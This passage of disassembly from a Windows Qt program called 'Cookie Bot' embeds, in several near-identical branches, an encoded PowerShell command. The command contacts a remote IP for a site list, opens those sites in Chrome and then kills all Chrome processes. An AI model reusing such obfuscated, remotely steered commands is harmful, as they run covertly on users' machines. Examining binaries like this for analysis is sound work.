nAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhAHIAZwB1AG0AZQBuAHQAcwANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAYwBoAHIAbwBtAGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMADQAKAH0ADQAKAA0ACgAkAHMAaQB0AGUAcwAgAD0AIABHAGUAdAAtAFMAaQB0AGUAcwBGAHIAbwBtAFMAZQByAHYAZQByAA0ACgBpAGYAIAAoACQAcwBpAHQAZQBzACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsADQAKACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgAHMAaQB0AGUAcwAgAHIAZQBjAGUAaQB2AGUAZAAgAGYAcgBvAG0AIABzAGUAcgB2AGUAcgAuACIADQAKACAAIAAgACAAcgBlAHQAdQByAG4ADQAKAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAUwBpAHQAZQBzACAAcgBlAGMAZQBpAHYAZQBkADoAIAAkACgAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAKQAgAHMAaQB0AGUAcwAuACIADQAKAH0ADQAKAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAOwAgACQAaQAgACsAPQAgADUAKQAgAHsADQAKACAAIAAgACAAJABjAHUAcgByAGUAbgB0AEIAYQB0AGMAaAAgAD0AIAAkAHMAaQB0AGUAcwBbACQAaQAuAC4AKAAkAGkAKwA0ACkAXQANAAoAIAAgACAAIABPAHAAZQBuAC0AUwBpAHQAZQBzACAALQBzAGkAdABlAHMAIAAkAGMAdQByAHIAZQBuAHQAQgBhAHQAYwBoAA0ACgB9AA__r_n
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.140018600
nop
mov rdx, rax
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x60000
mov rdx, rdi
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, [0x1401b9c90]
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x58]
call fcn.140018600
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
jmp 0x140121511
lea eax, [rcx - 0x100a]
cmp eax, 0x18
ja 0x140120f3d
mov edx, 0x180705f
bt edx, eax
jb 0x14012151c
cmp ecx, 0x11a
je 0x14012151c
cmp ecx, 0x208
jne 0x140121134
mov edx, 0x1f
lea rcx, str.Cookie_Bot_has_finished._Enjoy.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x58], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x60], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.140122130
mov rdi, rax
mov edx, 0x2e
lea rcx, str.Now_we_will_visit_few_websites_to_gain_cookies
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x70], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x78], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x48]
mov rcx, rsi
call fcn.140122130
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.echo_Starting_Cookie_Bot..._
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 0x80000
mov rdx, rbx
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, str._r_npowershell__encodedCommand_JABjAGgAcgBvAG0AZQBQAGEAdABoACAAPQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABjAGgAcgBvAG0AZQAuAGUAeABlACIADQAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAKQApACAAewANAAoAIAAgACAAIAByAGUAdAB1AHIAbgANAAoAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBDAGgAcgBvAG0AZQAgAGkAcwAgAGkAbgBzAHQAYQBsAGwAZQBkAC4AIgANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0AUwBpAHQAZQBzAEYAcgBvAG0AUwBlAHIAdgBlAHIAIAB7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBoAHQAdABwADoALwAvADEAOAA4AC4AMQA2ADYALgA3ADgALgAxADEAMQAvAGcAZQB0AHMAaQB0AGUALgBwAGgAcAAiAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AJwANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJAByAGUAcwBwAG8AbgBzAGUAIAAtAGEAbgBkACAAJAByAGUAcwBwAG8AbgBzAGUALgBwAG8AcAB1AGwAYQByAF8AcwBpAHQAZQBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcgBlAHMAcABvAG4AcwBlAC4AcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwANAAoAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgACcAcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwAnACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIAByAGUAcwBwAG8AbgBzAGUALgAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAATwBwAGUAbgAtAFMAaQB0AGUAcwAgAHsADQAKACAAIAAgACAAUABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAHMAaQB0AGUAcwApAA0ACgAgACAAIAAgACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJABzAGkAdABlAHMAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACIALQAtAG4AZQB3AC0AdABhAGIAIgAsACAAJABfACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhAHIAZwB1AG0AZQBuAHQAcwANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAYwBoAHIAbwBtAGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMADQAKAH0ADQAKAA0ACgAkAHMAaQB0AGUAcwAgAD0AIABHAGUAdAAtAFMAaQB0AGUAcwBGAHIAbwBtAFMAZQByAHYAZQByAA0ACgBpAGYAIAAoACQAcwBpAHQAZQBzACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsADQAKACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgAHMAaQB0AGUAcwAgAHIAZQBjAGUAaQB2AGUAZAAgAGYAcgBvAG0AIABzAGUAcgB2AGUAcgAuACIADQAKACAAIAAgACAAcgBlAHQAdQByAG4ADQAKAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAUwBpAHQAZQBzACAAcgBlAGMAZQBpAHYAZQBkADoAIAAkACgAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAKQAgAHMAaQB0AGUAcwAuACIADQAKAH0ADQAKAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAOwAgACQAaQAgACsAPQAgADUAKQAgAHsADQAKACAAIAAgACAAJABjAHUAcgByAGUAbgB0AEIAYQB0AGMAaAAgAD0AIAAkAHMAaQB0AGUAcwBbACQAaQAuAC4AKAAkAGkAKwA0ACkAXQANAAoAIAAgACAAIABPAHAAZQBuAC0AUwBpAHQAZQBzACAALQBzAGkAdABlAHMAIAAkAGMAdQByAHIAZQBuAHQAQgBhAHQAYwBoAA0ACgB9AA__r_n
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call fcn.140018600
nop
mov rdx, rax
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x180000
mov rdx, rdi
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, [0x1401b9c90]
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x58]
call fcn.140018600
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
jmp 0x140121511
lea eax, [rcx - 0x209]
cmp eax, 2
jbe 0x14012151c
lea eax, [rcx - 0x10c]
cmp eax, 1
jbe 0x14012151c
cmp ecx, 0x11c
je 0x14012151c
cmp ecx, 0x1013
je 0x14012151c
cmp ecx, 0x1004
jne 0x140121340
mov edx, 0x1f
lea rcx, str.Cookie_Bot_has_finished._Enjoy.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x58], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x60], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.140122130
mov rdi, rax
mov edx, 0x2e
lea rcx, str.Now_we_will_visit_few_websites_to_gain_cookies
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x70], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x78], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.140122130
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.echo_Starting_Cookie_Bot..._
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 0x200000
mov rdx, rbx
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, str._r_npowershell__encodedCommand_JABjAGgAcgBvAG0AZQBQAGEAdABoACAAPQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABjAGgAcgBvAG0AZQAuAGUAeABlACIADQAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAKQApACAAewANAAoAIAAgACAAIAByAGUAdAB1AHIAbgANAAoAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBDAGgAcgBvAG0AZQAgAGkAcwAgAGkAbgBzAHQAYQBsAGwAZQBkAC4AIgANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0AUwBpAHQAZQBzAEYAcgBvAG0AUwBlAHIAdgBlAHIAIAB7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBoAHQAdABwADoALwAvADEAOAA4AC4AMQA2ADYALgA3ADgALgAxADEAMQAvAGcAZQB0AHMAaQB0AGUALgBwAGgAcAAiAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AJwANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJAByAGUAcwBwAG8AbgBzAGUAIAAtAGEAbgBkACAAJAByAGUAcwBwAG8AbgBzAGUALgBwAG8AcAB1AGwAYQByAF8AcwBpAHQAZQBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcgBlAHMAcABvAG4AcwBlAC4AcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwANAAoAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgACcAcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwAnACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIAByAGUAcwBwAG8AbgBzAGUALgAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAATwBwAGUAbgAtAFMAaQB0AGUAcwAgAHsADQAKACAAIAAgACAAUABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAHMAaQB0AGUAcwApAA0ACgAgACAAIAAgACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJABzAGkAdABlAHMAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACIALQAtAG4AZQB3AC0AdABhAGIAIgAsACAAJABfACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhAHIAZwB1AG0AZQBuAHQAcwANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAYwBoAHIAbwBtAGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMADQAKAH0ADQAKAA0ACgAkAHMAaQB0AGUAcwAgAD0AIABHAGUAdAAtAFMAaQB0AGUAcwBGAHIAbwBtAFMAZQByAHYAZQByAA0ACgBpAGYAIAAoACQAcwBpAHQAZQBzACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsADQAKACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgAHMAaQB0AGUAcwAgAHIAZQBjAGUAaQB2AGUAZAAgAGYAcgBvAG0AIABzAGUAcgB2AGUAcgAuACIADQAKACAAIAAgACAAcgBlAHQAdQByAG4ADQAKAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAUwBpAHQAZQBzACAAcgBlAGMAZQBpAHYAZQBkADoAIAAkACgAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAKQAgAHMAaQB0AGUAcwAuACIADQAKAH0ADQAKAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAOwAgACQAaQAgACsAPQAgADUAKQAgAHsADQAKACAAIAAgACAAJABjAHUAcgByAGUAbgB0AEIAYQB0AGMAaAAgAD0AIAAkAHMAaQB0AGUAcwBbACQAaQAuAC4AKAAkAGkAKwA0ACkAXQANAAoAIAAgACAAIABPAHAAZQBuAC0AUwBpAHQAZQBzACAALQBzAGkAdABlAHMAIAAkAGMAdQByAHIAZQBuAHQAQgBhAHQAYwBoAA0ACgB9AA__r_n
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x48]
call fcn.140018600
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.14003a750
nop
lea r8, [0x1401b9c90]
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140018600
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x80]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
jmp 0x140121511
cmp ecx, 0x207
jne 0x14012151c
mov edx, 0x1f
lea rcx, str.Cookie_Bot_has_finished._Enjoy.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x58], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x60], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.140122130
mov rdi, rax
mov edx, 0x2e
lea rcx, str.Now_we_will_visit_few_websites_to_gain_cookies
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x70], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x78], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.140122130
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.echo_Starting_Cookie_Bot..._
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 0x400000
mov rdx, rbx
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, str._r_npowershell__encodedCommand_JABjAGgAcgBvAG0AZQBQAGEAdABoACAAPQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABjAGgAcgBvAG0AZQAuAGUAeABlACIADQAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAKQApACAAewANAAoAIAAgACAAIAByAGUAdAB1AHIAbgANAAoAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBDAGgAcgBvAG0AZQAgAGkAcwAgAGkAbgBzAHQAYQBsAGwAZQBkAC4AIgANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0AUwBpAHQAZQBzAEYAcgBvAG0AUwBlAHIAdgBlAHIAIAB7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBoAHQAdABwADoALwAvADEAOAA4AC4AMQA2ADYALgA3ADgALgAxADEAMQAvAGcAZQB0AHMAaQB0AGUALgBwAGgAcAAiAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAk